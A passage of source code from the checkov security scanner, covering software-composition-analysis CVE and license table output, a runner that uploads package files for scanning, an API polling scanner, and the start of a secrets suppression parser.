rootless_file_path_to_report = f\"{rootless_file_path} ({image_id})\"\n        return self.get_report_from_scan_result(result, dockerfile_path, rootless_file_path_to_report, image_details,\n                                                runner_filter)\n\n    def extract_image_short_id(self, scan_result: dict[str, Any]) -> str:\n        \"\"\"Extracts a shortened version of the image ID from the scan result\"\"\"\n\n        if \"id\" not in scan_result:\n            return \"sha256:unknown\"\n\n        image_id: str = scan_result[\"id\"]\n\n        if image_id.startswith(\"sha256:\"):\n            return image_id[:17]\n        return image_id[:10]\n\n    def get_image_details_from_twistcli_result(self, scan_result: dict[str, Any], image_id: str,\n                                               image_name: str | None = None,\n                                               related_resource_id: str | None = None) -> ImageDetails:\n        image_packages = scan_result.get('packages', [])\n        image_package_types = {\n            f'{package[\"name\"]}@{package[\"version\"]}': package['type']\n            for package in image_packages\n        }\n        return ImageDetails(\n            distro=scan_result.get('distro', ''),\n            distro_release=scan_result.get('distroRelease', ''),\n            package_types=image_package_types,\n            image_id=image_id,\n            name=image_name,\n            related_resource_id=related_resource_id\n        )\n\n    def included_paths(self) -> Iterable[str]:\n        return ['.github', '.circleci']\n"
  },
  {
    "path": "checkov/sca_package_2/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/sca_package_2/output.py",
    "content": "from __future__ import annotations\n\nimport itertools\nimport logging\nfrom collections import defaultdict\nfrom dataclasses import dataclass\nfrom typing import List, Union, Dict, Any\n\nfrom prettytable import PrettyTable, SINGLE_BORDER\n\nfrom checkov.common.bridgecrew.severities import BcSeverities\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.common.output.record import Record, SCA_PACKAGE_SCAN_CHECK_NAME, SCA_LICENSE_CHECK_NAME\nfrom checkov.common.output.common import get_package_name_with_lines, validate_lines, get_reachability_output_indication\nfrom checkov.common.packaging import version as packaging_version\nfrom checkov.common.sca.commons import UNFIXABLE_VERSION, get_package_alias\nfrom checkov.common.typing import _LicenseStatusWithLines\nfrom checkov.common.output.common import compare_table_items_severity\n\nREACHABILITY_RISK_FACTORS_KEYS = [\"IsUsed\", \"ReachableFunction\"]\n\n\n@dataclass\nclass CveCount:\n    total: int = 0\n    critical: int = 0\n    high: int = 0\n    medium: int = 0\n    low: int = 0\n    skipped: int = 0\n    used: int = 0\n    has_fix: int = 0\n    to_fix: int = 0\n    fixable: bool = True\n\n    def output_row(self) -> List[str]:\n        return [\n            f\"Total CVEs: {self.total}\",\n            f\"critical: {self.critical}\",\n            f\"high: {self.high}\",\n            f\"medium: {self.medium}\",\n            f\"low: {self.low}\",\n            f\"skipped: {self.skipped}\",\n            f\"Total Packages Used: {self.used}\",\n        ]\n\n\ndef calculate_lowest_compliant_version(\n        fix_versions_lists: List[List[Union[packaging_version.Version, packaging_version.LegacyVersion]]]\n) -> str:\n    \"\"\"A best effort approach to find the lowest compliant version\"\"\"\n\n    package_min_versions = set()\n    package_versions = set()\n\n    for fix_versions in fix_versions_lists:\n        if fix_versions:\n            package_min_versions.add(min(fix_versions))\n            package_versions.update(fix_versions)\n    if package_min_versions:\n        package_min_version = min(package_min_versions)\n        package_max_version = max(package_min_versions)\n\n        if isinstance(package_min_version, packaging_version.LegacyVersion) or isinstance(\n                package_max_version, packaging_version.LegacyVersion\n        ):\n            return str(package_max_version)\n        elif package_min_version.major == package_max_version.major:\n            return str(package_max_version)\n        else:\n            lowest_version = max(\n                version\n                for version in package_versions\n                if isinstance(version, packaging_version.Version) and version.major == package_max_version.major\n            )\n            return str(lowest_version)\n\n    return UNFIXABLE_VERSION\n\n\ndef create_cli_output(fixable: bool = True, *cve_records: list[Record]) -> str:\n    cli_outputs = []\n    group_by_file_path_package_map: dict[str, dict[str, list[Record]]] = defaultdict(dict)\n\n    for record in itertools.chain(*cve_records):\n        if not record.vulnerability_details:\n            #  this shouldn't happen\n            logging.error(f\"'vulnerability_details' is not set for {record.check_id}\")\n            continue\n\n        if record.vulnerability_details.get(\"root_package_name\"):\n            _root_package_alias = get_package_alias(\n                record.vulnerability_details[\"root_package_name\"],\n                record.vulnerability_details[\"root_package_version\"])\n\n        else:  # in case it's license record\n            _root_package_alias = get_package_alias(record.vulnerability_details[\"package_name\"],\n                                                    record.vulnerability_details[\"package_version\"])\n\n        group_by_file_path_package_map[record.file_path].setdefault(\n            _root_package_alias, []).append(record)\n\n    for file_path, packages in group_by_file_path_package_map.items():\n        cve_count = CveCount(fixable=fixable)\n        package_cves_details_map: dict[str, dict[str, Any]] = defaultdict(dict)\n        package_licenses_details_map = defaultdict(list)\n        should_print_licenses_table = False\n        lines_details_found_cves = False\n        lines_details_found_licenses = False\n        for root_package_alias, records in packages.items():\n            fix_versions_lists = []\n            for record in records:\n                if not record.vulnerability_details:\n                    #  this shouldn't happen\n                    logging.error(f\"'vulnerability_details' is not set for {record.check_id}\")\n                    continue\n\n                package_name = record.vulnerability_details[\"package_name\"]\n                package_version = record.vulnerability_details[\"package_version\"]\n                lines = validate_lines(record.file_line_range)\n\n                if record.check_name == SCA_PACKAGE_SCAN_CHECK_NAME:\n                    cve_count.total += 1\n\n                    if record.check_result[\"result\"] == CheckResult.SKIPPED:\n                        cve_count.skipped += 1\n                        continue\n                    else:\n                        cve_count.to_fix += 1\n\n                    # best way to dynamically access a class instance attribute.\n                    # (we can't just do cve_count.severity_str to access the correct severity)\n                    severity_str = record.severity.name.upper() if record.severity else BcSeverities.NONE.upper()\n                    setattr(cve_count, severity_str.lower(), getattr(cve_count, severity_str.lower()) + 1)\n\n                    if record.vulnerability_details[\"lowest_fixed_version\"] != UNFIXABLE_VERSION:\n                        cve_count.has_fix += 1\n\n                    is_root_package = root_package_alias == get_package_alias(package_name, package_version)\n                    if is_root_package:  # we want fixed versions just for root packages\n                        fix_versions_lists.append(record.vulnerability_details[\"fixed_versions\"])\n                    else:\n                        root_package_fix_version = record.vulnerability_details.get(\"root_package_fix_version\")\n                        if root_package_fix_version:\n                            parsed_version = packaging_version.parse(root_package_fix_version.strip())\n                            fix_versions_lists.append([parsed_version])\n\n                    root_package_lines = validate_lines(\n                        record.vulnerability_details.get(\"root_package_file_line_range\"))\n                    if lines or root_package_lines:\n                        lines_details_found_cves = True\n\n                    risk_factors = {} if not record.vulnerability_details or not record.vulnerability_details.get(\"risk_factors\", {}) else record.vulnerability_details.get(\"risk_factors\", {})\n\n                    reachability_risk_factors_tmp = {key: value for key, value in risk_factors.items()\n                                                     if key in REACHABILITY_RISK_FACTORS_KEYS}\n                    if any([value for value in reachability_risk_factors_tmp.values()]):\n                        cve_count.used += 1\n\n                    package_cves_details_map[root_package_alias].setdefault(\"cves\", []).append(\n                        {\n                            \"id\": record.vulnerability_details[\"id\"],\n                            \"severity\": severity_str,\n                            \"fixed_version\": record.vulnerability_details[\"lowest_fixed_version\"],\n                            \"root_package_name\": record.vulnerability_details[\"root_package_name\"],\n                            \"root_package_version\": record.vulnerability_details[\"root_package_version\"],\n                            \"root_package_fix_version\": record.vulnerability_details.get(\"root_package_fix_version\",\n                                                                                         \"\"),\n                            \"package_name\": package_name,\n                            \"package_version\": package_version,\n                            \"lines\": lines,\n                            \"root_package_lines\": root_package_lines,\n                            \"is_private_fix\": record.vulnerability_details.get(\"is_private_fix\"),\n                            \"reachability_risk_factors\": reachability_risk_factors_tmp\n                        }\n                    )\n                elif record.check_name == SCA_LICENSE_CHECK_NAME:\n                    if record.check_result[\"result\"] == CheckResult.SKIPPED:\n                        continue\n                    should_print_licenses_table = True\n                    if lines:\n                        lines_details_found_licenses = True\n                    package_licenses_details_map[get_package_alias(package_name, package_version)].append(\n                        _LicenseStatusWithLines(package_name=package_name,\n                                                package_version=package_version,\n                                                policy=record.vulnerability_details[\"policy\"],\n                                                license=record.vulnerability_details[\"license\"],\n                                                status=record.vulnerability_details[\"status\"],\n                                                lines=lines)\n                    )\n\n            if root_package_alias in package_cves_details_map:\n                package_cves_details_map[root_package_alias][\"cves\"].sort(key=compare_table_items_severity,\n                                                                          reverse=True)\n                package_cves_details_map[root_package_alias][\"compliant_version\"] = calculate_lowest_compliant_version(\n                    fix_versions_lists)\n\n        if cve_count.total > 0:\n            cli_outputs.append(\n                create_cli_cves_table(\n                    file_path=file_path,\n                    cve_count=cve_count,\n                    package_details_map=package_cves_details_map,\n                    lines_details_found=lines_details_found_cves\n                )\n            )\n        if should_print_licenses_table:\n            cli_outputs.append(\n                create_cli_license_violations_table(\n                    file_path=file_path,\n                    package_licenses_details_map=package_licenses_details_map,\n                    lines_details_found=lines_details_found_licenses\n                )\n            )\n    return \"\\n\".join(cli_outputs)\n\n\ndef create_cli_license_violations_table(file_path: str,\n                                        package_licenses_details_map: Dict[str, List[_LicenseStatusWithLines]],\n                                        lines_details_found: bool) -> str:\n    package_table_lines: List[str] = []\n    columns = 5\n    table_width = 136\n    column_width = int(table_width / columns)\n    package_table = PrettyTable(min_table_width=table_width, max_table_width=table_width)\n    package_table.set_style(SINGLE_BORDER)\n    package_table.field_names = [\n        \"Package name [Lines]\" if lines_details_found else \"Package name\",\n        \"Package version\",\n        \"Policy ID\",\n        \"License\",\n    ]\n    for package_idx, (_, license_statuses) in enumerate(package_licenses_details_map.items()):\n        if package_idx > 0:\n            del package_table_lines[-1]\n            package_table.header = False\n            package_table.clear_rows()\n\n        for idx, license_status in enumerate(license_statuses):\n            col_package_name = \"\"\n            col_package_version = \"\"\n            if idx == 0:\n                col_package_name = get_package_name_with_lines(license_status[\"package_name\"], license_status[\"lines\"])\n                col_package_version = license_status[\"package_version\"]\n\n            curr_row = [\n                col_package_name,\n                col_package_version,\n                license_status[\"policy\"],\n                license_status[\"license\"]\n            ]\n            package_table.add_row(curr_row)\n\n        package_table.align = \"l\"\n        package_table.min_width = column_width\n        package_table.max_width = column_width\n\n        for idx, line in enumerate(package_table.get_string().splitlines(keepends=True)):\n            if idx == 0 and package_idx != 0:\n                # hack to make multiple tables look like one\n                line = line.replace(package_table.top_left_junction_char, package_table.left_junction_char).replace(\n                    package_table.top_right_junction_char, package_table.right_junction_char\n                )\n            if package_idx > 0:\n                # hack to make multiple package tables look like one\n                line = line.replace(package_table.top_junction_char, package_table.junction_char)\n\n            # hack for making the table's width as same as the cves-table's\n            package_table_lines.append(f\"\\t{line[:-2]}{line[-3]}{line[-2:]}\")\n\n    return (\n        f\"\\t{file_path} - Licenses Statuses:\\n\"\n        f\"{''.join(package_table_lines)}\\n\"\n    )\n\n\ndef create_cli_cves_table(file_path: str, cve_count: CveCount, package_details_map: Dict[str, Dict[str, Any]],\n                          lines_details_found: bool) -> str:\n    columns = 7\n    table_width = 165\n    fixed_line_with = 159\n    column_width = int(table_width / columns)\n\n    cve_table_lines = create_cve_summary_table_part(\n        table_width=table_width, column_width=column_width, cve_count=cve_count\n    )\n\n    vulnerable_packages = True if package_details_map else False\n    fixable_table_lines = create_fixable_cve_summary_table_part(\n        table_width=fixed_line_with, column_count=columns, cve_count=cve_count, vulnerable_packages=vulnerable_packages\n    )\n\n    package_table_lines = create_package_overview_table_part(\n        table_width=table_width, column_width=column_width, package_details_map=package_details_map,\n        lines_details_found=lines_details_found\n    )\n\n    return (\n        f\"\\t{file_path} - CVEs Summary:\\n\"\n        f\"{''.join(cve_table_lines)}\\n\"\n        f\"{''.join(fixable_table_lines)}\"\n        f\"{''.join(package_table_lines)}\\n\"\n    )\n\n\ndef create_cve_summary_table_part(table_width: int, column_width: int, cve_count: CveCount) -> List[str]:\n    cve_table = PrettyTable(\n        header=False,\n        padding_width=1,\n        min_table_width=table_width,\n        max_table_width=table_width,\n    )\n    cve_table.set_style(SINGLE_BORDER)\n    cve_table.add_row(cve_count.output_row())\n    cve_table.align = \"l\"\n    cve_table.min_width = column_width\n    cve_table.max_width = column_width\n    cve_table.header = False  # Python 3.12 reverts the header setting\n\n    cve_table_lines = [f\"\\t{line}\" for line in cve_table.get_string().splitlines(keepends=True)]\n    # hack to make multiple tables look like one\n    cve_table_bottom_line = (\n        cve_table_lines[-1].replace(cve_table.bottom_left_junction_char,\n                                    cve_table.left_junction_char).replace(cve_table.bottom_right_junction_char,\n                                                                          cve_table.right_junction_char)\n    )\n    cve_table_lines[-1] = cve_table_bottom_line\n\n    return cve_table_lines\n\n\ndef create_fixable_cve_summary_table_part(\n        table_width: int, column_count: int, cve_count: CveCount, vulnerable_packages: bool\n) -> List[str]:\n    fixable_table = PrettyTable(\n        header=False,\n        min_table_width=table_width + column_count - 4,\n        max_table_width=table_width + column_count - 4\n    )\n    fixable_table.set_style(SINGLE_BORDER)\n    if cve_count.fixable:\n        fixable_table.add_row(\n            [f\"To fix {cve_count.has_fix}/{cve_count.to_fix} CVEs, go to your Prisma Cloud account\"])\n        fixable_table.align = \"l\"\n        fixable_table.header = False  # Python 3.12 reverts the header setting\n    else:\n        return []\n\n    # hack to make multiple tables look like one\n    fixable_table_lines = [f\"\\t{line}\" for line in fixable_table.get_string().splitlines(keepends=True)]\n    del fixable_table_lines[0]\n    # only remove the last line, if there are vulnerable packages\n    if vulnerable_packages:\n        del fixable_table_lines[-1]\n\n    return fixable_table_lines\n\n\ndef create_package_overview_table_part(\n        table_width: int, column_width: int, package_details_map: Dict[str, Dict[str, Any]], lines_details_found: bool\n) -> str | Any:\n    package_table_lines: List[str] = []\n    package_table = PrettyTable(min_table_width=table_width, max_table_width=table_width)\n    package_table.set_style(SINGLE_BORDER)\n    package_table.field_names = [\n        \"Package [Lines]\" if lines_details_found else \"Package\",\n        \"CVE ID\",\n        \"Severity\",\n        \"Current version\",\n        \"Root fixed version\",\n        \"Compliant version\",\n        \"Reachability\"\n    ]\n    for package_idx, (root_package_alias, details) in enumerate(package_details_map.items()):\n        if package_idx > 0:\n            del package_table_lines[-1]\n            package_table.header = False\n            package_table.clear_rows()\n\n        details[\"cves\"].sort(key=lambda x: (\n            \"\" if x[\"root_package_name\"] == x['package_name'] else x['package_name'], x['package_version']))\n\n        last_package_alias = get_package_alias(details['cves'][-1]['package_name'],\n                                               details['cves'][-1]['package_version'])\n        previous_package = \"\"\n        for cve_idx, cve in enumerate(details[\"cves\"]):\n            compliant_version = details.get(\"compliant_version\", \"\")\n            package_name = cve[\"package_name\"]\n            package_version = cve[\"package_version\"]\n            package_alias = get_package_alias(package_name, package_version)\n            is_root = package_alias == root_package_alias\n            is_public_overview = \"(Public)\" if cve['is_private_fix'] is False else \"\"\n            reachability = get_reachability_output_indication(cve.get('reachability_risk_factors', {}))\n            compliant_version_overview = \"\"\n            if cve_idx == 0:\n                cur_compliant_version = compliant_version + is_public_overview if compliant_version and compliant_version != UNFIXABLE_VERSION else compliant_version\n                if not is_root:  # no cves on root package\n                    package_name_col_val = get_package_name_with_lines(cve[\"root_package_name\"],\n                                                                       cve.get(\"root_package_lines\"))\n                    package_table.add_row(\n                        [\n                            package_name_col_val,\n                            \"\",\n                            \"\",\n                            cve[\"root_package_version\"],\n                            \"\",\n                            cur_compliant_version,\n                            \"\"\n                        ]\n                    )\n                else:\n                    compliant_version_overview = cur_compliant_version\n\n            is_sub_dep_changed = previous_package != package_alias\n            dep_sign = \"\"\n            if not is_root:\n                if is_sub_dep_changed:\n                    if last_package_alias == package_alias:\n                        dep_sign = package_table.bottom_left_junction_char + package_table.horizontal_char\n                    else:\n                        dep_sign = package_table.left_junction_char + package_table.horizontal_char\n                else:\n                    if last_package_alias != package_alias:\n                        dep_sign = package_table.vertical_char\n\n            package_name_col_val = \"\"\n            if is_sub_dep_changed:\n                if dep_sign:\n                    package_name_col_val = \" \".join([dep_sign, package_name])\n                else:\n                    package_name_col_val = package_name\n                package_name_col_val = get_package_name_with_lines(package_name_col_val, cve.get(\"lines\"))\n            elif dep_sign:\n                package_name_col_val = dep_sign\n\n            fix_version = cve[\"fixed_version\"] if is_root else cve.get(\"root_package_fix_version\", \"\")\n            fix_version_overview = fix_version + is_public_overview if fix_version and fix_version != UNFIXABLE_VERSION else fix_version\n            package_table.add_row(\n                [\n                    package_name_col_val,\n                    cve[\"id\"],\n                    cve[\"severity\"],\n                    package_version if is_sub_dep_changed else \"\",\n                    fix_version_overview,\n                    compliant_version_overview,\n                    reachability\n                ]\n            )\n\n            previous_package = package_alias\n\n        package_table.align = \"l\"\n        package_table.min_width = column_width\n        package_table.max_width = column_width\n\n        for idx, line in enumerate(package_table.get_string().splitlines(keepends=True)):\n            if idx == 0:\n                # hack to make multiple tables look like one\n                line = line.replace(package_table.top_left_junction_char, package_table.left_junction_char).replace(\n                    package_table.top_right_junction_char, package_table.right_junction_char\n                )\n            if package_idx > 0:\n                # hack to make multiple package tables look like one\n                line = line.replace(package_table.top_junction_char, package_table.junction_char)\n\n            package_table_lines.append(f\"\\t{line}\")\n\n    return package_table_lines\n"
  },
  {
    "path": "checkov/sca_package_2/runner.py",
    "content": "from __future__ import annotations\n\nimport logging\nimport os\nfrom pathlib import Path\nfrom typing import Any, List\n\nfrom checkov.common.bridgecrew.bc_source import IDEsSourceTypes\nfrom checkov.common.sca.commons import should_run_scan\nfrom checkov.common.sca.output import add_to_report_sca_data\nfrom checkov.common.typing import _LicenseStatus\nfrom checkov.common.bridgecrew.platform_integration import bc_integration, FileToPersist\nfrom checkov.common.models.consts import SCANNABLE_PACKAGE_FILES_EXTENSIONS, SCANNABLE_PACKAGE_FILES, \\\n    SUPPORTED_PACKAGE_FILES\nfrom checkov.common.models.enums import ErrorStatus\nfrom checkov.common.output.report import Report\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.runners.base_runner import BaseRunner, ignored_directories\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.sca_package_2.scanner import Scanner\n\n\nclass Runner(BaseRunner[None, None, None]):\n    check_type = CheckType.SCA_PACKAGE  # noqa: CCE003  # a static attribute\n\n    def __init__(self, report_type: str = check_type) -> None:\n        super().__init__(file_extensions=SCANNABLE_PACKAGE_FILES_EXTENSIONS, file_names=SCANNABLE_PACKAGE_FILES)\n        self._check_class: str | None = None\n        self._code_repo_path: Path | None = None\n        self.report_type = report_type\n\n    def _get_s3_file_key_to_abs_path(self, uploaded_files: List[FileToPersist]) -> dict[str, str]:\n        s3_file_key_to_abs_path: dict[str, str] = dict()\n        for item in uploaded_files:\n            if item.s3_file_key in s3_file_key_to_abs_path:\n                raise Exception(\"[_get_s3_file_key_to_abs_path] not expected that 2 files has the same s3-key\")\n            s3_file_key_to_abs_path[item.s3_file_key] = item.full_file_path\n        return s3_file_key_to_abs_path\n\n    def prepare_and_scan(\n            self,\n            root_folder: str | Path | None,\n            files: list[str] | None = None,\n            runner_filter: RunnerFilter | None = None,\n            excluded_file_names: set[str] | None = None,\n    ) -> tuple[dict[str, Any] | None, dict[str, str]]:\n        runner_filter = runner_filter or RunnerFilter()\n        excluded_file_names = excluded_file_names or set()\n\n        # skip complete run, if flag '--check' was used without a CVE check ID or the license policies\n        if not should_run_scan(runner_filter.checks):\n            return None, dict()\n\n        if not bc_integration.bc_api_key:\n            logging.info(\"The --bc-api-key flag needs to be set to run SCA package scanning\")\n            return None, dict()\n\n        if bc_integration.bc_source and bc_integration.bc_source.name in IDEsSourceTypes \\\n                and not bc_integration.is_prisma_integration():\n            logging.info(\"The --bc-api-key flag needs to be set to a Prisma token for SCA scan for vscode or jetbrains extension\")\n            return {}, dict()  # should just return an empty result\n\n        self._code_repo_path = Path(root_folder) if root_folder else None\n\n        if not bc_integration.timestamp and bc_integration.bc_source and not bc_integration.bc_source.upload_results:\n            bc_integration.set_s3_integration()\n        if bc_integration.daemon_process:\n            # only happens for 'ParallelizationType.SPAWN'\n            bc_integration.setup_http_manager()\n            bc_integration.set_s3_client()\n\n        excluded_paths = {*ignored_directories}\n        if runner_filter.excluded_paths:\n            excluded_paths.update(runner_filter.excluded_paths)\n\n        uploaded_files: List[FileToPersist] | None = self.upload_package_files(\n            root_path=self._code_repo_path,\n            files=files,\n            excluded_paths=excluded_paths,\n            excluded_file_names=excluded_file_names,\n        )\n        if uploaded_files is None:\n            # failure happened during uploading\n            return None, dict()\n\n        if len(uploaded_files) == 0:\n            # no packages were uploaded. we can skip the scanning\n            return {}, dict()\n\n        scanner = Scanner(self.pbar, root_folder)\n        self._check_class = f\"{scanner.__module__}.{scanner.__class__.__qualname__}\"\n        scan_results = scanner.scan()\n\n        if scan_results is not None:\n            logging.info(f\"SCA package scanning successfully scanned {len(scan_results)} files\")\n\n        return scan_results, self._get_s3_file_key_to_abs_path(uploaded_files)\n\n    def run(\n            self,\n            root_folder: str | Path | None,\n            external_checks_dir: list[str] | None = None,\n            files: list[str] | None = None,\n            runner_filter: RunnerFilter | None = None,\n            collect_skip_comments: bool = True,\n    ) -> Report | list[Report]:\n        runner_filter = runner_filter or RunnerFilter()\n        if not runner_filter.show_progress_bar:\n            self.pbar.turn_off_progress_bar()\n\n        report = Report(self.check_type)\n        scan_results, s3_file_key_to_abs_path = self.prepare_and_scan(root_folder, files, runner_filter)\n        if scan_results is None:\n            report.set_error_status(ErrorStatus.ERROR)\n            return report\n\n        for path, result in scan_results.items():\n            if not result:\n                continue\n            bc_integration.source_id = result.get(\"sourceId\")\n            package_file_path = Path(path)\n\n            vulnerabilities = result.get(\"vulnerabilities\") or []\n            packages = result.get(\"packages\") or []\n\n            license_statuses = [_LicenseStatus(package_name=elm[\"packageName\"], package_version=elm[\"packageVersion\"],\n                                               policy=elm[\"policy\"], license=elm[\"license\"], status=elm[\"status\"])\n                                for elm in result.get(\"license_statuses\") or []]\n\n            rootless_file_path = str(package_file_path).replace(package_file_path.anchor, \"\", 1)\n            inline_suppressions = result.get(\"inlineSuppressions\")\n\n            add_to_report_sca_data(\n                report=report,\n                check_class=self._check_class,\n                scanned_file_path=s3_file_key_to_abs_path.get(rootless_file_path, str(package_file_path)),\n                rootless_file_path=rootless_file_path,\n                runner_filter=runner_filter,\n                vulnerabilities=vulnerabilities,\n                packages=packages,\n                license_statuses=license_statuses,\n                report_type=self.report_type,\n                dependencies=result.get(\"dependencies\", None),\n                inline_suppressions=inline_suppressions,\n                used_private_registry=result.get(\"used_private_reg\", False)\n            )\n\n        return report\n\n    def _persist_file_if_required(self, package_files_to_persist: List[FileToPersist],\n                                  file_path: Path, root_path: Path | None) -> None:\n        if file_path.name in SCANNABLE_PACKAGE_FILES or file_path.suffix in SCANNABLE_PACKAGE_FILES_EXTENSIONS:\n            file_path_str = str(file_path)\n            # in case of root_path is None, we will get the path in related to the current work dir\n            package_files_to_persist.append(FileToPersist(file_path_str, os.path.relpath(file_path_str, root_path)))\n\n    def upload_package_files(\n            self,\n            root_path: Path | None,\n            files: list[str] | None,\n            excluded_paths: set[str],\n            excluded_file_names: set[str] | None = None,\n    ) -> List[FileToPersist] | None:\n        \"\"\" upload package files to s3\"\"\"\n        logging.info(\"SCA package scanning upload for package files\")\n        excluded_file_names = excluded_file_names or set()\n        package_files_to_persist: List[FileToPersist] = []\n        try:\n            if root_path:\n                for file_path in root_path.glob(\"**/*\"):\n                    if any(p in file_path.parts for p in excluded_paths) or file_path.name in excluded_file_names:\n                        logging.debug(f\"[sca_package:runner](upload_package_files) - File {file_path} was excluded\")\n                        continue\n                    self._persist_file_if_required(package_files_to_persist, file_path, root_path)\n\n            if files:\n                for file in files:\n                    file_path = Path(file)\n                    if not file_path.exists():\n                        logging.warning(f\"[sca_package:runner](upload_package_files) - File {file_path} doesn't exist\")\n                        continue\n                    self._persist_file_if_required(package_files_to_persist, file_path, root_path)\n\n            logging.info(f\"{len(package_files_to_persist)} sca package files found.\")\n            bc_integration.persist_files(package_files_to_persist)\n            return package_files_to_persist\n        except Exception:\n            logging.debug(\"Unexpected failure happened during uploading files for package scanning.\\n\"\n                          \"the scanning is terminating. details are below.\\n\"\n                          \"please try again. if it is repeated, please report.\", exc_info=True)\n            return None\n\n    def find_scannable_files(\n        self,\n        root_path: Path | None,\n        files: list[str] | None,\n        excluded_paths: set[str],\n        exclude_package_json: bool = True,\n        excluded_file_names: set[str] | None = None,\n        extra_supported_package_files: set[str] | None = None\n    ) -> set[Path]:\n        excluded_file_names = excluded_file_names or set()\n        extra_supported_package_files = extra_supported_package_files or set()\n        input_paths: set[Path] = set()\n        if root_path:\n            input_paths = {\n                file_path\n                for file_path in root_path.glob(\"**/*\")\n                if file_path.name in SUPPORTED_PACKAGE_FILES.union(extra_supported_package_files) and not any(p in file_path.parts for p in excluded_paths)\n            }\n\n            package_json_lock_parent_paths = set()\n            if exclude_package_json:\n                # filter out package.json, if package-lock.json or yarn.lock exists\n                package_json_lock_parent_paths = {\n                    file_path.parent for file_path in input_paths if\n                    file_path.name in {\"package-lock.json\", \"yarn.lock\"}\n                }\n\n            input_paths = {\n                file_path\n                for file_path in input_paths\n                if (file_path.name != \"package.json\" or file_path.parent not in package_json_lock_parent_paths) and file_path.name not in excluded_file_names\n            }\n\n        for file in files or []:\n            file_path = Path(file)\n            if not file_path.exists():\n                logging.warning(f\"File {file_path} doesn't exist\")\n                continue\n\n            input_paths.add(file_path)\n\n        return input_paths\n"
  },
  {
    "path": "checkov/sca_package_2/scanner.py",
    "content": "from __future__ import annotations\n\nimport logging\nimport time\nfrom pathlib import Path\nfrom typing import Any\n\nfrom requests import JSONDecodeError\n\nfrom checkov.common.bridgecrew.platform_integration import bc_integration\nfrom checkov.common.util.env_vars_config import env_vars_config\nfrom checkov.common.util.http_utils import request_wrapper\n\nfrom checkov.common.util.tqdm_utils import ProgressBar\n\nSLEEP_DURATION = 5\nMAX_SLEEP_DURATION = 240\n\n\nclass Scanner:\n    def __init__(self, pbar: ProgressBar | None = None, root_folder: str | Path | None = None) -> None:\n        self._base_url = bc_integration.api_url\n        self.bc_cli_scan_api_url = f\"{self._base_url}/api/v1/vulnerabilities/cli/scan\"\n        if pbar:\n            self.pbar = pbar\n        else:\n            self.pbar = ProgressBar('')\n            self.pbar.turn_off_progress_bar()\n        self.root_folder = root_folder\n\n    def scan(self) -> dict[str, Any] | None:\n        \"\"\"run SCA package scan and poll scan results\"\"\"\n        if not self.run_scan():\n            return None\n        return self.poll_scan_result()\n\n    def run_scan(self) -> bool:\n        try:\n            logging.info(\"Start to scan package files.\")\n\n            request_body = {\n                \"branch\": \"\",\n                \"commit\": \"\",\n                \"path\": bc_integration.repo_path,\n                \"repoId\": bc_integration.repo_id,\n                \"id\": bc_integration.timestamp,\n                \"repositoryId\": \"\",\n                \"enableDotnetCpm\": env_vars_config.ENABLE_DOTNET_CPM,\n                \"enableJavaDynamicScanCli\": env_vars_config.JAVA_FULL_DT,\n            }\n\n            response = request_wrapper(\n                \"POST\", self.bc_cli_scan_api_url,\n                headers=bc_integration.get_default_headers(\"POST\"),\n                json=request_body,\n                should_call_raise_for_status=True\n            )\n\n            response_json = response.json()\n\n            if not response_json[\"startedSuccessfully\"]:\n                logging.info(\"Failed to run package scanning.\")\n                return False\n            return True\n        except Exception:\n            logging.debug(\n                \"[sca_package_2] - Unexpected failure happened during package scanning.\\n\"\n                \"the scanning is terminating. details are below.\\n\"\n                \"please try again. if it is repeated, please report.\", exc_info=True)\n            return False\n\n    def poll_scan_result(self) -> dict[str, Any]:\n        total_sleeping_time = 0\n\n        while total_sleeping_time < MAX_SLEEP_DURATION:\n            response = request_wrapper(\n                \"GET\", f\"{self.bc_cli_scan_api_url}/{bc_integration.timestamp}\",\n                headers=bc_integration.get_default_headers(\"GET\"),\n                params={\"repoId\": bc_integration.repo_id}\n            )\n\n            try:\n                response_json = response.json()\n            except JSONDecodeError:\n                logging.debug(f\"Unexpected response from {self.bc_cli_scan_api_url}: {response.text}\")\n                return {}\n\n            current_state = response_json.get(\"status\", \"\")\n            if not current_state:\n                logging.error(\"Failed to poll scan results.\")\n                return {}\n\n            if current_state == \"COMPLETED\":\n                logging.debug(response_json)\n                report_url = response_json['reportUrl']\n                report_response = request_wrapper(\"GET\", report_url, headers={'Accept': 'application/json'})\n                return report_response.json()  # type: ignore\n\n            if current_state == \"FAILED\":\n                logging.debug(response_json)\n                return {}\n\n            time.sleep(SLEEP_DURATION)\n            total_sleeping_time += SLEEP_DURATION\n\n        logging.debug(f\"Timeout, slept for {total_sleeping_time}\")\n        return {}\n"
  },
  {
    "path": "checkov/secrets/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/secrets/context_parser.py",
    "content": "from __future__ import annotations\n\nimport os\nimport logging\nfrom typing import List, Tuple, Dict, Any\nfrom checkov.common.typing import _SkippedCheck\nfrom checkov.common.bridgecrew.integration_features.features.policy_metadata_integration import integration as metadata_integration\n\n\nclass ContextParser:\n    \"\"\"\n    Context parser for secrets scanning — supports:\n    - Metadata suppressions like:\n      {\n        \"Metadata\": {\n          \"checkov\": {\n            \"skip\": [\n              {\"id\": \"CKV_SECRET_6\", \"comment\": \"example reason\"}\n            ]\n          }\n        }\n      }\n    \"\"\"\n\n    def __init__(self, file_path: str) -> None:\n        self.file_path = file_path\n        self.file_lines: List[Tuple[int, str]] = self._read_file_lines()\n\n    def _read_file_lines(self) -> List[Tuple[int, str]]:\n        if not os.path.exists(self.file_path):\n            return []\n        with open(self.file_path, \"r\", encoding=\"utf-8\") as f:\n            return [(i + 1, line.rstrip('\\n')) for i, line in enumerate(f.readlines())]\n\n    def collect_skip_comments(\n            self,\n            resource_config: Dict[str, Any] | List[Dict[str, Any]] | None = None\n    ) -> List[_SkippedCheck]:\n        \"\"\"\n        Collects suppressions from resource metadata.\n\n        Supports:\n        - Metadata under 'checkov' and 'bridgecrew' keys\n        - Object-rooted and array-rooted JSON/YAML structures\n\n        Returns a list of suppression dicts\n        \"\"\"\n        skipped_checks: List[_SkippedCheck] = []\n        bc_id_mapping = metadata_integration.bc_to_ckv_id_mapping\n\n        def extract_skips(metadata_block: Dict[str, Any]) -> None:\n            for source in (\"checkov\", \"bridgecrew\"):\n                for skip in metadata_block.get(source, {}).get(\"skip\", []):\n                    skip_id = skip.get(\"id\")\n       